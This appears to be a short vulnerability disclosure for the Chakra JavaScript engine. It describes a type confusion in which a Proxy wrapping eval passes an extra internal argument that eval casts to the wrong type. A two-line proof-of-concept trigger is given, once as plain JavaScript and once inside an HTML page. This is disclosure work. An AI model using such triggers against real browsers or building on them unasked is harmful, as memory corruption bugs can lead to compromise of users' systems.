In Chakra, function calls can sometimes take an extra internal argument, using the flag CallFlags_ExtraArg. The global eval function makes assumptions about the type of this extra arg, and casts it to a FrameDisplay object. If eval is called from a location in code where an extra parameter is added, for example, a Proxy function trap, and the extra parameter is of a different type, this can lead to type confusion. A full PoC is as follows and attached:
var p = new Proxy(eval, {});
p("alert(\"e\")");

<html>
<body>
<script>
var p = new Proxy(eval, {});
p("alert(\"e\")");
</script>
